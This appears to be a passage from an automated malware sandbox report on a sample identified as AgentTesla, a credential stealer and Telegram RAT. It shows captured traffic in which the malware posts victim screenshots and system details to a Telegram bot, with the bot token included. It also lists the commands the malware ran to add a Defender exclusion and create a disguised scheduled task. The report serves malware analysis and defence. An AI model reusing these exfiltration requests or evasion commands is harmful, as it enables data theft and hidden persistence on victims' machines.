2024-04-19 17:37:12 UTC	16355	OUT	Data Raw: 11 04 05 21 31 06 12 41 51 07 61 71 13 22 32 81 08 14 42 91 a1 b1 c1 09 23 33 52 f0 15 62 72 d1 0a 16 24 34 e1 25 f1 17 18 19 1a 26 27 28 29 2a 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 82 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e2 e3 e4 e5 e6 e7 e8 e9 ea f2 f3 f4 f5 f6 f7 f8 f9 fa ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 8e 8a 28 af a7 3e 38 28 a9 e2 b4 9a 44 12 60 2c 67 a3 31 c0 3f d4 d4 cb 6b 0a fd e6 69 0f b7 03 ff 00 af fa 56 52 ab 08 ee cd 61 46 73 d9 14 68 ad 55 b5 b6 91 39 8b 6f ba b1 cf eb 9a 86 4d 34 f5 86 55 6f 66 f9 4f f8 52 8d 78 3f 22 a5 87 9c 7c ca 14 Data Ascii: !1AQaq"2B#3Rbr$4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?(>8(D`,g1?kiVRaFshU9oM4UofORx?"\|
2024-04-19 17:37:12 UTC	16355	OUT	Data Raw: e7 92 7f df 22 9c aa aa 30 a0 01 e8 2b 4a 58 19 c6 a2 94 a4 ac 8c eb 66 b4 1d 19 c2 9c 5d e4 ad ad 85 a2 8a 2b d5 3e 78 28 a2 8a 00 b5 a5 b2 a6 a9 6a cc 42 a8 95 49 24 e0 01 9a ee 3e dd 67 ff 00 3f 70 7f df c5 ff 00 1a f3 da 2b 8e be 17 db 4b 9a f6 3d 0c 2e 3b ea f0 70 e5 be bd cf 42 fb 7d 97 fc fe 5b ff 00 df d5 ff 00 1a 4f b7 d9 7f cf e5 bf fd fd 5f f1 af 3e a2 b0 fe cf fe f7 e1 ff 00 04 e9 fe d5 fe e7 e3 ff 00 00 ea 7c 4f 75 6d 36 9a 89 0d c4 52 37 9a 0e 11 c1 38 c1 f4 ae 56 8a 2b b3 0f 47 d8 c7 96 f7 38 31 58 8f ac 4d 4a d6 d0 28 a2 8a dc e6 0a 28 a2 80 0a 28 a2 80 0a 4a 5a 28 01 28 a5 a4 a0 02 8a 28 a0 02 8a 28 a0 02 8a 28 a0 04 a2 8a 28 18 51 45 14 c0 4a 29 68 a0 04 a2 8a 5a 00 4a 28 a2 80 0a 4a 5a 4a 06 14 51 45 30 0a 28 a2 80 12 8a 5a 4a 06 14 51 Data Ascii: "0+JXf]+>x(jBI$>g?p+K=.;pB}[O_>\|Oum6R78V+G81XMJ(((JZ((((((QEJ)hZJ(JZJQE0(ZJQ
2024-04-19 17:37:12 UTC	16355	OUT	Data Raw: d9 f2 82 51 45 14 00 57 49 e0 bf f9 06 dd 7f d7 d3 ff 00 25 ae 6e ba 4f 05 ff 00 c8 36 eb fe be 9f f9 2d 79 79 8f d8 f9 9f 41 92 fc 35 7d 17 e6 6f 4b 22 43 13 cb 23 05 44 05 98 9e c0 57 19 a1 eb 31 5a de de 5e cc 9f ba bb 72 ec 63 52 4c 58 27 01 bb 73 9a d6 d5 34 7b ed 57 50 29 3c 81 6c 43 02 30 e7 ee 80 32 02 fa 93 9e 4e 6b 71 21 8a 38 04 09 1a 88 82 ed 09 8e 31 e9 5e 3b 52 9c ae b4 b1 f4 d0 9d 2a 14 9c 5f bc e5 bd ba 2f f3 ff 00 22 b5 96 a7 6d 7b 2b c3 19 75 95 14 31 49 10 a9 c1 e8 7d c5 73 3e 2a ff 00 91 8a 3f fa f5 1f fa 19 ae ae da c6 d2 d1 99 ad ad a2 85 9b ef 14 40 33 5c a7 8a bf e4 62 8f fe bd 47 fe 86 6b a2 85 fd a4 2f dc e1 c4 f2 7b 1a bc 9b 72 bd fe 46 65 14 51 5f 48 7c 38 51 45 14 00 51 45 14 0c 28 a2 8a 00 28 a2 8a 00 4a 29 68 a0 04 a2 96 8a Data Ascii: QEWI%nO6-yyA5}oK"C#DW1Z^rcRLX's4{WP)<lC02Nkq!81^;R_/"m{+u1I}s>?@3\bGk/{rFeQ_H\|8QEQE((J)h
2024-04-19 17:37:12 UTC	15447	OUT	Data Raw: a2 8a 29 80 51 45 14 00 51 45 14 00 94 51 45 03 0a 4a 5a 4a 00 28 a2 8a 06 14 51 45 00 25 14 51 40 05 14 51 40 c2 90 d2 f6 a4 a0 02 8a 28 a0 04 a2 8a 28 18 52 52 d2 50 01 45 14 50 02 51 4b 49 40 c2 8a 28 a0 02 92 8a 29 8c 28 a2 8a 00 4a 28 cd 26 68 18 b4 94 94 50 16 0c fb 52 66 8a 28 18 52 52 d2 50 01 49 4b 49 40 c2 8a 28 a0 61 49 45 14 00 52 52 d2 50 30 a2 8a 28 01 28 a2 8a 06 21 a2 8a 28 00 a4 a5 a4 a0 61 49 4b 49 40 05 25 2d 14 14 25 14 52 50 08 5a 4a 28 a0 04 34 51 45 03 0a 4a 5a 4a 06 14 94 51 40 09 45 2d 25 03 0a 4a 5a 4a 06 14 94 51 40 05 25 2d 14 0c 4a 28 a2 81 85 25 14 94 00 b4 94 51 40 c3 8a 29 28 a0 02 8a 28 a0 62 51 45 14 0c 4a 28 a2 80 0a 28 a4 a6 30 fe 74 51 f9 50 69 0c 43 c7 34 51 45 30 13 f1 a3 8a 28 a0 61 49 c5 2d 27 14 80 3d e8 fa 51 45 Data Ascii: )QEQEQEJZJ(QE%Q@Q@((RRPEPQKI@()(J(&hPRf(RRPIKI@(aIERRP0((!(aIKI@%-%RPZJ(4QEJZJQ@E-%JZJQ@%-J(%Q@)((bQEJ((0tQPiC4QE0(aI-'=QE
2024-04-19 17:37:12 UTC	1565	OUT	Data Raw: ff 00 9e a9 ff 00 7d 0a 00 92 8a 8f cf 87 fe 7a a7 fd f4 28 f3 e1 ff 00 9e a9 ff 00 7d 0a 00 92 8a 8f cf 87 fe 7a a7 fd f4 28 f3 e1 ff 00 9e a9 ff 00 7d 0a 00 92 8a 8f cf 87 fe 7a a7 fd f4 28 f3 e1 ff 00 9e a9 ff 00 7d 0a 00 92 8a 8f cf 87 fe 7a a7 fd f4 28 f3 e1 ff 00 9e a9 ff 00 7d 0a 00 92 8a 8f cf 87 fe 7a a7 fd f4 28 f3 e1 ff 00 9e a9 ff 00 7d 0a 00 92 8a 8f cf 87 fe 7a a7 fd f4 28 f3 e1 ff 00 9e a9 ff 00 7d 0a 00 27 ff 00 8f 79 3f dd 3f ca be 79 af a0 e6 9a 23 04 80 48 84 95 3f c4 3d 2b e7 ca b8 99 cc 2b 73 4c f1 24 f6 76 3f 60 b9 b5 82 fe cf 3b 96 1b 85 c8 53 ea 0f 6f c2 b0 e8 aa 20 dc d4 fc 49 3d e5 8f d8 2d ad 60 b0 b3 ce e6 86 dd 70 18 fa 93 df f1 ac 3a 28 a0 02 8a 28 a6 01 5a f7 3e 27 d7 2e 2e a5 9f fb 56 f2 2f 31 cb f9 71 5c 3a a2 e4 e7 0a 33 Data Ascii: }z(}z(}z(}z(}z(}z(}'y??y#H?=++sL$v?`;So I=-`p:((Z>'..V/1q\:3
2024-04-19 17:37:12 UTC	50	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 36 30 61 38 31 62 62 65 30 35 66 33 2d 2d 0d 0a Data Ascii: -----------------------------8dc60a81bbe05f3--
2024-04-19 17:37:12 UTC	25	IN	HTTP/1.1 100 Continue
2024-04-19 17:37:13 UTC	1482	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 19 Apr 2024 17:37:13 GMT Content-Type: application/json Content-Length: 1093 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection {"ok":true,"result":{"message_id":3456,"from":{"id":7177134832,"is_bot":true,"first_name":"bng_bot","username":"shanny1975_bot"},"chat":{"id":1210558492,"first_name":"kelv","last_name":"calin","type":"private"},"date":1713548233,"document":{"file_name":"user-618321 2024-04-19 19-37-11.jpg","mime_type":"image/jpeg","thumbnail":{"file_id":"AAMCBAADGQMAAg2AZiKrybobC6ULtXlzrBACSc0Ks28AAsQXAAKLUhlRJbjNWIWHTcMBAAdtAAM0BA","file_unique_id":"AQADxBcAAotSGVFy","file_size":12508,"width":320,"height":256},"thumb":{"file_id":"AAMCBAADGQMAAg2AZiKrybobC6ULtXlzrBACSc0Ks28AAsQXAAKLUhlRJbjNWIWHTcMBAAdtAAM0BA","file_unique_id":"AQADxBcAAotSGVFy","file_size":12508,"width":320,"height":256},"file_id":"BQACAgQAAxkDAAINgGYiq8m6GwulC7V5c6wQAknNCrNvAALEFwACi1IZUSW4zViFh03DNAQ","file_unique_id":"AgADxBcAAotSGVE","file_size":66528},"caption":"New SC Recovered!\n\nTime: 04/19/2024 19:37:11\nUser Name: user/618321\nOSFullName: Microsoft Windows 10 Pro\nCPU: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz\nRAM: 8191.25 MB\nIP Address: 81.181.57.52","caption_entities":[{"offset":179,"length":12,"type":"url"}]}}

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.5	49740	149.154.167.220	443

Timestamp	Bytes transferred	Direction	Data
2024-04-19 17:37:12 UTC	262	OUT	POST /bot7177134832:AAFZbBRZvrMTexyCCRWrTRyGHf8Nct0rg7g/sendDocument HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------------8dc60a81bbe05f3 Host: api.telegram.org Content-Length: 67151 Expect: 100-continue Connection: Keep-Alive
2024-04-19 17:37:12 UTC	1024	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 36 30 61 38 31 62 62 65 30 35 66 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 68 61 74 5f 69 64 22 0d 0a 0d 0a 31 32 31 30 35 35 38 34 39 32 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 36 30 61 38 31 62 62 65 30 35 66 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 61 70 74 69 6f 6e 22 0d 0a 0d 0a 4e 65 77 20 53 43 20 52 65 63 6f 76 65 72 65 64 21 0a 0a 54 69 6d 65 3a 20 30 34 2f 31 39 2f 32 30 32 34 20 31 39 3a 33 37 3a 31 31 0a 55 73 65 72 Data Ascii: -----------------------------8dc60a81bbe05f3Content-Disposition: form-data; name="chat_id"1210558492-----------------------------8dc60a81bbe05f3Content-Disposition: form-data; name="caption"New SC Recovered!Time: 04/19/2024 19:37:11User
2024-04-19 17:37:12 UTC	16355	OUT	Data Raw: 11 04 05 21 31 06 12 41 51 07 61 71 13 22 32 81 08 14 42 91 a1 b1 c1 09 23 33 52 f0 15 62 72 d1 0a 16 24 34 e1 25 f1 17 18 19 1a 26 27 28 29 2a 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 82 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e2 e3 e4 e5 e6 e7 e8 e9 ea f2 f3 f4 f5 f6 f7 f8 f9 fa ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 8e 8a 28 af a7 3e 38 28 a9 e2 b4 9a 44 12 60 2c 67 a3 31 c0 3f d4 d4 cb 6b 0a fd e6 69 0f b7 03 ff 00 af fa 56 52 ab 08 ee cd 61 46 73 d9 14 68 ad 55 b5 b6 91 39 8b 6f ba b1 cf eb 9a 86 4d 34 f5 86 55 6f 66 f9 4f f8 52 8d 78 3f 22 a5 87 9c 7c ca 14 Data Ascii: !1AQaq"2B#3Rbr$4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?(>8(D`,g1?kiVRaFshU9oM4UofORx?"\|
2024-04-19 17:37:12 UTC	16355	OUT	Data Raw: e7 92 7f df 22 9c aa aa 30 a0 01 e8 2b 4a 58 19 c6 a2 94 a4 ac 8c eb 66 b4 1d 19 c2 9c 5d e4 ad ad 85 a2 8a 2b d5 3e 78 28 a2 8a 00 b5 a5 b2 a6 a9 6a cc 42 a8 95 49 24 e0 01 9a ee 3e dd 67 ff 00 3f 70 7f df c5 ff 00 1a f3 da 2b 8e be 17 db 4b 9a f6 3d 0c 2e 3b ea f0 70 e5 be bd cf 42 fb 7d 97 fc fe 5b ff 00 df d5 ff 00 1a 4f b7 d9 7f cf e5 bf fd fd 5f f1 af 3e a2 b0 fe cf fe f7 e1 ff 00 04 e9 fe d5 fe e7 e3 ff 00 00 ea 7c 4f 75 6d 36 9a 89 0d c4 52 37 9a 0e 11 c1 38 c1 f4 ae 56 8a 2b b3 0f 47 d8 c7 96 f7 38 31 58 8f ac 4d 4a d6 d0 28 a2 8a dc e6 0a 28 a2 80 0a 28 a2 80 0a 4a 5a 28 01 28 a5 a4 a0 02 8a 28 a0 02 8a 28 a0 02 8a 28 a0 04 a2 8a 28 18 51 45 14 c0 4a 29 68 a0 04 a2 8a 5a 00 4a 28 a2 80 0a 4a 5a 4a 06 14 51 45 30 0a 28 a2 80 12 8a 5a 4a 06 14 51 Data Ascii: "0+JXf]+>x(jBI$>g?p+K=.;pB}[O_>\|Oum6R78V+G81XMJ(((JZ((((((QEJ)hZJ(JZJQE0(ZJQ
2024-04-19 17:37:12 UTC	16355	OUT	Data Raw: d9 f2 82 51 45 14 00 57 49 e0 bf f9 06 dd 7f d7 d3 ff 00 25 ae 6e ba 4f 05 ff 00 c8 36 eb fe be 9f f9 2d 79 79 8f d8 f9 9f 41 92 fc 35 7d 17 e6 6f 4b 22 43 13 cb 23 05 44 05 98 9e c0 57 19 a1 eb 31 5a de de 5e cc 9f ba bb 72 ec 63 52 4c 58 27 01 bb 73 9a d6 d5 34 7b ed 57 50 29 3c 81 6c 43 02 30 e7 ee 80 32 02 fa 93 9e 4e 6b 71 21 8a 38 04 09 1a 88 82 ed 09 8e 31 e9 5e 3b 52 9c ae b4 b1 f4 d0 9d 2a 14 9c 5f bc e5 bd ba 2f f3 ff 00 22 b5 96 a7 6d 7b 2b c3 19 75 95 14 31 49 10 a9 c1 e8 7d c5 73 3e 2a ff 00 91 8a 3f fa f5 1f fa 19 ae ae da c6 d2 d1 99 ad ad a2 85 9b ef 14 40 33 5c a7 8a bf e4 62 8f fe bd 47 fe 86 6b a2 85 fd a4 2f dc e1 c4 f2 7b 1a bc 9b 72 bd fe 46 65 14 51 5f 48 7c 38 51 45 14 00 51 45 14 0c 28 a2 8a 00 28 a2 8a 00 4a 29 68 a0 04 a2 96 8a Data Ascii: QEWI%nO6-yyA5}oK"C#DW1Z^rcRLX's4{WP)<lC02Nkq!81^;R_/"m{+u1I}s>?@3\bGk/{rFeQ_H\|8QEQE((J)h
2024-04-19 17:37:12 UTC	15447	OUT	Data Raw: a2 8a 29 80 51 45 14 00 51 45 14 00 94 51 45 03 0a 4a 5a 4a 00 28 a2 8a 06 14 51 45 00 25 14 51 40 05 14 51 40 c2 90 d2 f6 a4 a0 02 8a 28 a0 04 a2 8a 28 18 52 52 d2 50 01 45 14 50 02 51 4b 49 40 c2 8a 28 a0 02 92 8a 29 8c 28 a2 8a 00 4a 28 cd 26 68 18 b4 94 94 50 16 0c fb 52 66 8a 28 18 52 52 d2 50 01 49 4b 49 40 c2 8a 28 a0 61 49 45 14 00 52 52 d2 50 30 a2 8a 28 01 28 a2 8a 06 21 a2 8a 28 00 a4 a5 a4 a0 61 49 4b 49 40 05 25 2d 14 14 25 14 52 50 08 5a 4a 28 a0 04 34 51 45 03 0a 4a 5a 4a 06 14 94 51 40 09 45 2d 25 03 0a 4a 5a 4a 06 14 94 51 40 05 25 2d 14 0c 4a 28 a2 81 85 25 14 94 00 b4 94 51 40 c3 8a 29 28 a0 02 8a 28 a0 62 51 45 14 0c 4a 28 a2 80 0a 28 a4 a6 30 fe 74 51 f9 50 69 0c 43 c7 34 51 45 30 13 f1 a3 8a 28 a0 61 49 c5 2d 27 14 80 3d e8 fa 51 45 Data Ascii: )QEQEQEJZJ(QE%Q@Q@((RRPEPQKI@()(J(&hPRf(RRPIKI@(aIERRP0((!(aIKI@%-%RPZJ(4QEJZJQ@E-%JZJQ@%-J(%Q@)((bQEJ((0tQPiC4QE0(aI-'=QE
2024-04-19 17:37:12 UTC	1565	OUT	Data Raw: ff 00 9e a9 ff 00 7d 0a 00 92 8a 8f cf 87 fe 7a a7 fd f4 28 f3 e1 ff 00 9e a9 ff 00 7d 0a 00 92 8a 8f cf 87 fe 7a a7 fd f4 28 f3 e1 ff 00 9e a9 ff 00 7d 0a 00 92 8a 8f cf 87 fe 7a a7 fd f4 28 f3 e1 ff 00 9e a9 ff 00 7d 0a 00 92 8a 8f cf 87 fe 7a a7 fd f4 28 f3 e1 ff 00 9e a9 ff 00 7d 0a 00 92 8a 8f cf 87 fe 7a a7 fd f4 28 f3 e1 ff 00 9e a9 ff 00 7d 0a 00 92 8a 8f cf 87 fe 7a a7 fd f4 28 f3 e1 ff 00 9e a9 ff 00 7d 0a 00 27 ff 00 8f 79 3f dd 3f ca be 79 af a0 e6 9a 23 04 80 48 84 95 3f c4 3d 2b e7 ca b8 99 cc 2b 73 4c f1 24 f6 76 3f 60 b9 b5 82 fe cf 3b 96 1b 85 c8 53 ea 0f 6f c2 b0 e8 aa 20 dc d4 fc 49 3d e5 8f d8 2d ad 60 b0 b3 ce e6 86 dd 70 18 fa 93 df f1 ac 3a 28 a0 02 8a 28 a6 01 5a f7 3e 27 d7 2e 2e a5 9f fb 56 f2 2f 31 cb f9 71 5c 3a a2 e4 e7 0a 33 Data Ascii: }z(}z(}z(}z(}z(}z(}'y??y#H?=++sL$v?`;So I=-`p:((Z>'..V/1q\:3
2024-04-19 17:37:12 UTC	50	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 36 30 61 38 31 62 62 65 30 35 66 33 2d 2d 0d 0a Data Ascii: -----------------------------8dc60a81bbe05f3--
2024-04-19 17:37:13 UTC	25	IN	HTTP/1.1 100 Continue
2024-04-19 17:37:13 UTC	1485	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 19 Apr 2024 17:37:13 GMT Content-Type: application/json Content-Length: 1096 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection {"ok":true,"result":{"message_id":3457,"from":{"id":7177134832,"is_bot":true,"first_name":"bng_bot","username":"shanny1975_bot"},"chat":{"id":1210558492,"first_name":"kelv","last_name":"calin","type":"private"},"date":1713548233,"document":{"file_name":"user-618321 2024-04-19 19-37-11.jpg","mime_type":"image/jpeg","thumbnail":{"file_id":"AAMCBAADGQMAAg2BZiKryenFMv5U91fk_nGrBLzhTKoAAsUXAAKLUhlRHxsM4E3qAAHHAQAHbQADNAQ","file_unique_id":"AQADxRcAAotSGVFy","file_size":12508,"width":320,"height":256},"thumb":{"file_id":"AAMCBAADGQMAAg2BZiKryenFMv5U91fk_nGrBLzhTKoAAsUXAAKLUhlRHxsM4E3qAAHHAQAHbQADNAQ","file_unique_id":"AQADxRcAAotSGVFy","file_size":12508,"width":320,"height":256},"file_id":"BQACAgQAAxkDAAINgWYiq8npxTL-VPdX5P5xqwS84UyqAALFFwACi1IZUR8bDOBN6gABxzQE","file_unique_id":"AgADxRcAAotSGVE","file_size":66528},"caption":"New SC Recovered!\n\nTime: 04/19/2024 19:37:11\nUser Name: user/618321\nOSFullName: Microsoft Windows 10 Pro\nCPU: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz\nRAM: 8191.25 MB\nIP Address: 81.181.57.52","caption_entities":[{"offset":179,"length":12,"type":"url"}]}}

Target ID:	0
Start time:	19:33:01
Start date:	19/04/2024
Path:	C:\Users\user\Desktop\z1E-catalogSamples.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\z1E-catalogSamples.exe"
Imagebase:	0xc00000
File size:	704'512 bytes
MD5 hash:	2D9DFDB275D38155CBA293DC619430FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2102047965.000000000437F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.2102047965.000000000437F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000000.00000002.2102047965.000000000437F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	19:33:03
Start date:	19/04/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\vZkoWbol.exe"
Imagebase:	0x9a0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	19:33:03
Start date:	19/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	19:33:03
Start date:	19/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\vZkoWbol" /XML "C:\Users\user\AppData\Local\Temp\tmp9244.tmp"
Imagebase:	0x8c0000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	19:33:03
Start date:	19/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	19:33:03
Start date:	19/04/2024
Path:	C:\Users\user\Desktop\z1E-catalogSamples.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\z1E-catalogSamples.exe"
Imagebase:	0xd90000
File size:	704'512 bytes
MD5 hash:	2D9DFDB275D38155CBA293DC619430FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000006.00000002.4526832028.000000000324B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000006.00000002.4526832028.000000000324B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000006.00000002.4526832028.000000000324B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000006.00000002.4523979297.000000000042A000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000006.00000002.4523979297.000000000042A000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000006.00000002.4523979297.000000000042A000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	19:33:04
Start date:	19/04/2024
Path:	C:\Users\user\AppData\Roaming\vZkoWbol.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\vZkoWbol.exe
Imagebase:	0xd60000
File size:	704'512 bytes
MD5 hash:	2D9DFDB275D38155CBA293DC619430FA
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000007.00000002.2140827658.0000000004400000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000007.00000002.2140827658.0000000004400000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000007.00000002.2140827658.0000000004400000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 71%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	19:33:04
Start date:	19/04/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff6ef0c0000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	19:33:07
Start date:	19/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\vZkoWbol" /XML "C:\Users\user\AppData\Local\Temp\tmpA1D5.tmp"
Imagebase:	0x8c0000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	19:33:07
Start date:	19/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	19:33:07
Start date:	19/04/2024
Path:	C:\Users\user\AppData\Roaming\vZkoWbol.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\vZkoWbol.exe"
Imagebase:	0x350000
File size:	704'512 bytes
MD5 hash:	2D9DFDB275D38155CBA293DC619430FA
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	19:33:07
Start date:	19/04/2024
Path:	C:\Users\user\AppData\Roaming\vZkoWbol.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\vZkoWbol.exe"
Imagebase:	0xcc0000
File size:	704'512 bytes
MD5 hash:	2D9DFDB275D38155CBA293DC619430FA
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000C.00000002.4526667510.0000000003157000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000002.4526667510.0000000003131000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000C.00000002.4526667510.0000000003131000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

